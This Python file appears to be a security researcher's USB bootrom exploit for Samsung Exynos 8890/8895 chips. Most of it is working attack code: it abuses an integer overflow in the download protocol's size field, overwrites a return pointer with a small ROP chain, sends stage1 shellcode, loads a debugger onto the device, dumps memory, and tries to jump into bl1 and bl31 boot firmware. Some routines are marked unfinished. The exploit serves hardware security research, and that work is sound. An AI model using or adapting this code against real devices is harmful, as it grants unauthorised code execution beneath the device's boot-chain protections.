452 lines
18 KiB
Python
452 lines
18 KiB
Python
import struct, sys, usb1, libusb1, ctypes, usb, argparse
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from keystone import *
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from capstone import *
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from ghidra_assistant.utils.utils import *
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from ghidra_assistant.concrete_device import *
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from ghidra_assistant.utils.debugger.debugger_archs.ga_arm64 import GA_arm64_debugger
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from qiling.const import QL_ARCH
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import os, tqdm, datetime
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def p32(x):
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return struct.pack("<I", x)
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def p8(x):
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return struct.pack("<B", x)
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def p16(x):
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return struct.pack("<H", x)
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def p64(x):
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return struct.pack("<Q", x)
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logger = setup_logger("") #Leave empty to get root logger
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logger.setLevel(logging.DEBUG)
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BLOCK_SIZE = 512
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CHUNK_SIZE = 0xfffe00
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MAX_PAYLOAD_SIZE = (BLOCK_SIZE - 10) # 512, - 10 for ready (4), size (4), footer (2)
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DL_BUFFER_START = 0x02021800
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DL_BUFFER_SIZE = 0x4E800 #max allowed/usable size within the buffer, with end at 0x02070000
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BOOTROM_START = 0x0
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BOOTROM_SIZE = 0x20000 #128Kb
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TARGET_OFFSETS = {
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# XFER_BUFFER, RA_PTR, XFER_END_SIZE
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"8890": (0x02021800, 0x02020F08, 0x02070000), #0x206ffff on exynos 8890
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"8895": (0x02021800, 0x02020F18, 0x02070000)
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}
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ENDPOINT_BULK_IN = 0x81
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ENDPOINT_BULK_OUT = 0x2
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ks = Ks(KS_ARCH_ARM64, KS_MODE_LITTLE_ENDIAN)
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cs = Cs(CS_ARCH_ARM64, CS_MODE_LITTLE_ENDIAN)
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class ExynosDevice():
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"""
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Class to exploit a Exynos device (8890/8895) using the USB stack.
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"""
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def __init__(self, idVendor=0x04e8, idProduct=0x1234):
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"""Init with vendor/product IDs"""
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self.idVendor = idVendor
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self.idProduct = idProduct
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self.target = "8890" # TODO auto detect device
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self.connect_device()
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def connect_device(self):
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"""Setup proper connection, and ensure the connection is alive"""
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self.context = usb1.USBContext()
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while True:
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self.handle = self.context.openByVendorIDAndProductID(
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vendor_id=self.idVendor,
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product_id=self.idProduct,
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skip_on_error=False
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)
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if self.handle == None:
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continue
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break
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try:
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self.handle.getDevice().getSerialNumber()
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except Exception as e:
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if e.value == usb1.libusb1.LIBUSB_ERROR_TIMEOUT or e.value == usb1.libusb1.LIBUSB_ERROR_IO:
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print("Device disconnected / not connected. Reconnect USB?")
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sys.exit(0)
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else:
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raise e
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print(f"Connected device! {hex(self.idVendor)} {hex(self.idProduct)}")
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def write(self, data):
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transferred = ctypes.c_int()
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res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, data, len(data), ctypes.byref(transferred), 0)
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assert(res == 0), "Could not perform bulk transfer"
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return res
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def send_empty_transfer(self):
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transferred = ctypes.c_int()
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res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, 0, 0, ctypes.byref(transferred), 0)
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assert(res == 0)
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return transferred.value
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def test_bug_2(self):
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"""Interger overflow in last packet if reamining size is 1."""
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transferred = ctypes.c_int()
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bug_payload = p32(0) + p32(0x201 + 2 + MAX_PAYLOAD_SIZE + 0x7) + b"\x00" * MAX_PAYLOAD_SIZE + p16(0)
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bug_payload += b"\xcc" * (BLOCK_SIZE - len(bug_payload))
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res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, bug_payload, len(bug_payload), ctypes.byref(transferred), 0)
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assert res == 0
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payload = b"\xaa" * 0x200
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res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 0)
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assert res == 0
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payload = b"\xaa" * 0x200
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res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 0)
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while True:
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res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 10)
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def test_bug(self):
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# Start by sending a valid packet
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# Integer overflow in the size field
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# unk + size + payload + header
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payload = p32(0) + p32(0xFDFDE7FF + 0x1000) + b"\x00" * MAX_PAYLOAD_SIZE + p16(0)
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assert (len(payload) == BLOCK_SIZE)
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res = self.write(payload, MAX_PAYLOAD_SIZE)
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for i in range(200):
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print(hex(self.send_empty_transfer()))
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print('Bug probably available')
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sys.exit(0)
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def send_normal(self, payload):
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'''
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TODO not working
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'''
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# construct dl_data
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payload = struct.pack("<II", 0, len(payload)) #+ (payload + b"\x00" * 2)
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transferred = ctypes.c_int()
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res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 0)
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assert res == 0, "Error sending payload"
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pass
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def exploit(self, payload: bytes):
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'''
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Exploit the Exynos device, payload of 502 bytes max. This will send stage1 payload.
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'''
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assert len(payload) <= MAX_PAYLOAD_SIZE, "Shellcode too big"
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current_offset = TARGET_OFFSETS[self.target][0]
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xfer_buffer_start = TARGET_OFFSETS[self.target][1] # start of USB transfer buffer
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transferred = ctypes.c_int()
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size_to_overflow = 0x100000000 - current_offset + xfer_buffer_start + 8 + 6 # max_uint32 - header(8) + data(n) + footer(2)
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#size_to_overflow = 0x100000000 - current_offset + xfer_buffer_start + 8
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max_payload_size = 0x100000000 - size_to_overflow
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ram_size = ((size_to_overflow % CHUNK_SIZE) % BLOCK_SIZE) #
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# Assert that payload is 502 bytes
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# max_payload_size = 0xffffffff - current_offset + DL_BUFFER_SIZE + TARGET_OFFSETS[self.target][1]
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# max_payload_size = (TARGET_OFFSETS[self.target][2] - TARGET_OFFSETS[self.target][0]) - 0x200
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payload = payload + ((max_payload_size - len(payload)) * b"\x00")
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assert len(payload) == max_payload_size, "Invalid payload"
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# First send payload to trigger the bug
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bug_payload = p32(0) + p32(size_to_overflow) + payload[:MAX_PAYLOAD_SIZE] # dummy packet for triggering the bug
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bug_payload += b"\xcc" * (BLOCK_SIZE - len(bug_payload))
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res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, bug_payload, len(bug_payload), ctypes.byref(transferred), 0)
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assert res == 0, "Error triggering payload"
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assert transferred.value == len(bug_payload), "Invalid transfered size"
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current_offset += len(bug_payload) - 8 # Remove header
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cnt = 0
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while True:
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if current_offset + CHUNK_SIZE >= xfer_buffer_start and current_offset < xfer_buffer_start:
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break
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self.send_empty_transfer()
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current_offset += CHUNK_SIZE
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cnt += 1
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if current_offset > 0x100000000:
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current_offset = current_offset - 0x100000000 #reset 32 byte integer
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print(f"{cnt} {hex(current_offset)}")
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remaining = (TARGET_OFFSETS[self.target][1] - current_offset)
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assert remaining != 0, "Invalid remaining, needs to be > 0 in order to overwrite with the last packet"
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if remaining > BLOCK_SIZE:
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self.send_empty_transfer()
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# Send last transfer, TODO who aligns this ROM??
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current_offset += ((remaining // BLOCK_SIZE) * BLOCK_SIZE)
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cnt += 1
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print(f"{cnt} {hex(current_offset)}")
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# Build ROP chain.
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rop_chain = (b"\x00" * (ram_size - 6)) + p64(TARGET_OFFSETS[self.target][0]) + (b"\x00" * 2)
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transferred = ctypes.c_int(0)
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res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, rop_chain, len(rop_chain), ctypes.byref(transferred), 0)
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assert res == 0, "Error sending ROP chain"
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def usb_write(self, data):
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assert len(data) <= 0x200, "Data too big"
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transferred = ctypes.c_int()
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res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, data, len(data), ctypes.byref(transferred), 300)
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assert res == 0, f"Error sending data {res}"
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assert transferred.value == len(data), f"Invalid transfered size {transferred.value} != {len(data)}"
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return transferred.value
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def usb_read(self, size):
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transferred = ctypes.c_int()
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buf = ctypes.c_buffer(b"", size)
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res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_IN, buf, len(buf), ctypes.byref(transferred), 300)
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assert res == 0, f"Error receiving data {res}"
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return buf.raw[:transferred.value]
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def setup_concrete_device(self, concrete_device : ConcreteDevice):
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#Setup architecture
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concrete_device.arch = QL_ARCH.ARM64
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concrete_device.ga_debugger_location = 0x2069000 # TODO, not used yet
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concrete_device.ga_vbar_location = 0x206d000 + 0x1000
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concrete_device.ga_storage_location = 0x206d000
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concrete_device.ga_stack_location = 0x206b000
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concrete_device.arch_dbg = GA_arm64_debugger(concrete_device.ga_vbar_location, concrete_device.ga_debugger_location, concrete_device.ga_storage_location)
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concrete_device.arch_dbg.read = self.usb_read
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concrete_device.arch_dbg.write = self.usb_write
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#Overwrite all calls to make the concrete target function properly
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concrete_device.copy_functions()
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def usb_debug(self):
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"""
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Function to debug USB behaviour. Sends and receives data in continuous flow.
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"""
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transferred = ctypes.c_int()
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# Send some data
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count = 0
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def _send_data():
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transferred.value = 0
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p = p32(count) + b"\xaa" * (0x200 - 4)
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res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, p, len(p), ctypes.byref(transferred), 100)
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assert res == 0, f"Error sending data ({res})"
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def _recv_data():
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transferred.value = 0
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buf = ctypes.c_buffer(b"", 0x200)
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res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, 0x81, buf, len(buf), ctypes.byref(transferred), 100)
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assert res == 0, f"Error receiving data ({res})"
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hexdump(buf.raw)
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# Should have received some bytes
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while True:
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_send_data()
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_recv_data()
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count += 1
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def dump_memory(self, start: hex=0x0, end: hex=0x0206ffff, write=False):
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"""
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Dumps memory from the device.
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Transfer XFER_BUFFER at 0x02021800, to: 0x02020F08. End of memory at 0x0206ffff.
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"""
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# NOT WORKING YET
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transferred = ctypes.c_int()
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dumped = b""
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# Read data from memory
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for block in tqdm.tqdm(range(start, end, 0x200)):
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self.usb_write(p32(block-0x200))
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res = self.usb_read(0x200)
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dumped += res
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if write:
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filename = f"dump_{hex(start)}_{hex(end)}_{self.target}_{datetime.datetime.now().strftime('%Y-%m-%d_%H-%M-%S')}.bin"
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with open(filename, "wb") as f:
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f.write(dumped)
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return dumped
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# transferred = ctypes.c_int()
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# stack_pointer = 0x02021810
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# for block in range(0x2020000, 0x2200000, 0x200):
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# stack_pointer += 0x200
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# dumped += self.cd.memdump_region(block, 0x200)
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def setup_guppy_debugger(self):
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"""
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Sets up guppy debugger on the device itself.
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"""
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def _setup_debugger():
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'''
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Setup the debugger as a concrete device
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'''
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self.cd = ConcreteDevice(None, False)
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self.cd.dev = self.setup_concrete_device(self.cd)
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self.cd.test_connection()
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def _initial_run_debugger():
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"""Write debugger to device and test basic functionality"""
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if os.getenv("USER") == "eljakim":
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debugger = open("/home/eljakim/Source/gupje/source/bin/samsung_s7/debugger.bin", "rb").read()
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else:
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try:
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debugger = open("../../dump/debugger.bin", "rb").read()
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except Exception as e:
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print(f'Are you missing your debugger? Please ensure it is present in dump/debugger.bin. {e}')
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sys.exit(0)
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debugger += ((0x2000 - len(debugger)) * b"\x00")
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assert len(debugger) == 0x2000, "Invalid debugger size, stage1 requires 0x2000 size"
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for block in range(0, len(debugger), 0x200):
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self.usb_write(debugger[block:block+0x200])
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# time.sleep(.5) # Wait a little bit
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assert self.usb_read(0x200) == b"GiAs", "No response from debugger"
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# Test basic functionality
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self.usb_write(b"PING")
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r = self.usb_read(0x200)
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assert r == b"PONG", f"Invalid response from device: {r}"
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_initial_run_debugger()
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_setup_debugger()
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def dumb_interact(self):
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'''
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Room for playing around with the debugger
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'''
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self.cd.arch_dbg.state.auto_sync = False
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self.cd.arch_dbg.state.auto_sync_special = False
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self.cd.arch_dbg.state.print_ctx()
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def relocate_debugger():
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# Seems to be cleared upon cache clearing??
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if os.getenv("USER") == "eljakim":
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debugger_reloc = open("/home/eljakim/Source/gupje/source/bin/samsung_s7/debugger.bin", "rb").read()
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else:
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try:
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debugger_reloc = open("../../dump/debugger.bin", "rb").read()
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except Exception as e:
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print(f'Are you missing your debugger? Please ensure it is present in dump/debugger.bin. {e}')
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sys.exit(0)
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self.cd.memwrite_region(0x020c0000, debugger_reloc)
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self.usb_write(b"FLSH") # Flush cache
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self.cd.restore_stack_and_jump(0x020c0000)
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assert self.usb_read(0x200) == b"GiAs", "Failed to relocate debugger"
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self.cd.relocate_debugger(0x020c7000, 0x020c0000, 0x020c4000)
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relocate_debugger()
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def memdump_imem():
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dumped = b""
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for block in range(0x2020000, 0x2070000, 0x200):
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# print(hex(block))
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dumped += self.cd.memdump_region(block, 0x200)
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return dumped
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# dump1 = memdump_imem()
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# Try loading bl1
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bl1 = open("../S7/bl1.bin", "rb").read()
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self.cd.memwrite_region(0x02021800, bl1)
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# self.usb_write(b"FLSH")
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AUTH_BL1 = 0x00012848
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def auth_bl1(lr=0x2069000):
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# Load the firmware
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self.cd.arch_dbg.state.W0 = 1
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self.cd.arch_dbg.state.X1 = 1
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self.cd.arch_dbg.state.LR = lr #jump back to debugger when finished
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self.cd.restore_stack_and_jump(AUTH_BL1)
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assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
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assert self.cd.arch_dbg.state.X0 == 0, "auth_bl1 returned with error!"
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auth_bl1(0x020c0000)
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# dump2 = memdump_imem()
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# Works until here TODO hijack future control flow
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# self.cd.memwrite_region(0x02020108, p32(0x020c0000)) # Hijack some weird function, original 0x00005790
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self.cd.memwrite_region(0x02020f60, p32(0x020c0000))
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BOOT_BL1 = 0x00019310
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def jump_bl1(lr):
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self.cd.arch_dbg.state.LR = lr
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self.cd.restore_stack_and_jump(BOOT_BL1)
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jump_bl1(0x020c0000)
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pass
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# Overwrite jump back
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self.cd.memwrite_region(0x020200e8, p32(0x2069000))
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def memdump_try():
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self.cd.arch_dbg.state.LR = 0x020200e8
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self.cd.restore_stack_and_jump(0x02021810)
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stack_pointer = 0x02021810
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dumped = b""
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for block in range(0x2020000, 0x2200000, 0x200):
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stack_pointer += 0x200
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self.cd.arch_dbg.state.print_ctx()
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print(hex(block))
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dumped += self.cd.memdump_region(block, 0x200)
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# self.cd.restore_stack_and_jump(0x02021810)
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#000125b4
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# self.cd.arch_dbg.state.LR = 0x2069000 #jump back to debugger when finished
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# self.cd.restore_stack_and_jump(0x00012814)
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# self.cd.restore_stack_and_jump(0x000125b4)
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auth_bl1()
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# auth_bl1()
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jump_bl1()
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assert self.usb_read(0x200) == b"GiAs", "not jumped back to debugger?"
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self.cd.arch_dbg.state.print_ctx()
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def jump_bl31():
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self.cd.arch_dbg.state.LR = 0x2069000
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self.cd.restore_stack_and_jump(0x02021810)
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bl31 = open("../S7/bl31.bin", "rb").read()
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self.cd.memwrite_region(0x02021800, bl31)
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jump_bl31()
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assert self.usb_read(0x200) == b"GiAs", "not jumped back to debugger?"
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self.cd.arch_dbg.state.print_ctx()
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# memdump_try()
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# auth_bl1()
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self.cd.arch_dbg.state.print_ctx()
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#authenticate it
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pass
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if __name__ == "__main__":
|
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arg = argparse.ArgumentParser("Exynos exploit")
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arg.add_argument("--debug", action="store_true", help="Debug USB stack", default=False)
|
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args = arg.parse_args()
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|
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exynos = ExynosDevice()
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|
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if args.debug:
|
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shellcode = open("../dwc3_test/dwc3.bin", "rb").read()
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exynos.exploit(shellcode)
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exynos.dump_memory(write=True)
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# exynos.usb_debug()
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sys.exit(0)
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|
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stage1 = open("stage1/stage1.bin", "rb").read()
|
|
exynos.exploit(stage1)
|
|
exynos.setup_guppy_debugger()
|
|
exynos.dumb_interact()
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|
|
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sys.exit(0)
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